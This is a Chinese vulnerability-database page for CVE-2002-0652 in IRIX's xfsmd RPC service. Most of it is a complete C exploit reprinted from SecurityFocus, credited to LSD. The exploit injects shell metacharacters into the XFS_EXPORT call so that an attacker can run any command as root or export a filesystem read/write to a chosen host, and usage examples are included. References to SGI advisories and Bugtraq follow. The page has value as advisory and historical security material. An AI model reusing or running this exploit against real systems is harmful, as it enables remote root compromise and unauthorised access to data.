IRIX xfsmd任意代码执行漏洞
漏洞ID | 1106813 | 漏洞类型 | 未知 |
发布时间 | 2002-06-20 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-2002-0652 |
CNNVD-ID | CNNVD-200207-052 |
漏洞平台 | IRIX | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
IRIX6.5版本到6.5.16版本的xfsmd存在漏洞。远程攻击者可以借助不能正确被来自几个popen()函数(如:export_fs())调用过滤的shell元字符来执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/5075/info
Throghout the implementation of the supported remote procedure calls, the server uses the popen() libc function. When popen() is used, arguments passed to the RPC are included in the command string. These arguments are not sanitized. If shell metacharacters, such as ";" and "|" are embedded in the remotely supplied arguments, additional commands may be executed. These commands will run with root privileges.
/*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland *://lsd-pl.net/ #*/
/*## xfsmd #*/
/* this code forces xfsmd to execute any command on remote IRIX host or */
/* to export any file system from it with read/write privileges. */
/* the exploit requires that DNS is properly configured on an attacked */
/* host. additionally, if the file systems are to be exported from a */
/* vulnerable system, it must have NFS subsystem running. */
/* example usage: */
/* xfsmd address -c "touch /etc/lsd" */
/* (executes "touch /etc/lsd" command as root user on a vulnerable host) */
/* xfsmd address -e 10.0.0.1 -d "/" */
/* (exports / filesystem to the 10.0.0.1 host with rw privileges) */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
#define XFS_PROG 391016
#define XFS_VERS 1
#define XFS_EXPORT 13
typedef char *req_t;
typedef struct{char *str1;int errno;}res_t;
bool_t xdr_req(XDR *xdrs,req_t *objp){
if(!xdr_string(xdrs,objp,~0)) return(FALSE);
return(TRUE);
}
bool_t xdr_res(XDR *xdrs,res_t *objp){
if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE);
if(!xdr_int(xdrs,&objp->errno)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char command[10000],*h,*cmd,*hst=NULL,*dir="/etc";
int i,port=0,flag=0,c;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
res_t res;
printf("copyright LAST STAGE OF DELIRIUM Sep 1999 poland //lsd-pl.net/n");
printf("rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:allnn");
if(argc<3){
printf("usage: %s address -c "command" [-p port]n",argv[0]);
printf(" %s address -e address [-d dir] [-p port]n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"c:p:e:d:"))!=-1){
switch(c){
case 'c': flag=0;cmd=optarg;break;
case 'e': flag=1;hst=optarg;break;
case 'd': dir=optarg;break;
case 'p': port=atoi(optarg);
}
}
req=command;
if(!flag){
printf("executing %s command... ",cmd);
sprintf(req,"XFS_MNT_DIR:/tmpnroot:;%s;",cmd);
}else{
printf("exporting %s directory to %s... ",dir,hst);
sprintf(req,"XFS_FS_NAME:%snroot:%sn",dir,hst);
}
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}else{
if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
}
if((h=(char*)strchr(hp->h_name,'.'))!=NULL) *(h+1)=0;
else strcat(hp->h_name,".");
i=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);
stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm);
if(stat!=RPC_SUCCESS) {clnt_perror(cl,"error");exit(-1);}
printf("%sn",(!flag)?"ok":((!res.errno)?"ok":"failed"));
}
|参考资料
来源:SGI
名称:20020606-01-I
链接:ftp://patches.sgi.com/support/free/security/advisories/20020606-01-I
来源:BUGTRAQ
名称:20020620[LSD]IRIXrpc.xfsmdmultipleremoterootvulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=102459162909825&w;=2
来源:SGI
名称:20020605-01-I
链接:ftp://patches.sgi.com/support/free/security/advisories/20020605-01-I
相关推荐: XDMCP Infinite Loop Denial of Service Vulnerability
XDMCP Infinite Loop Denial of Service Vulnerability 漏洞ID 1104073 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 2000-06-19 更新时…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666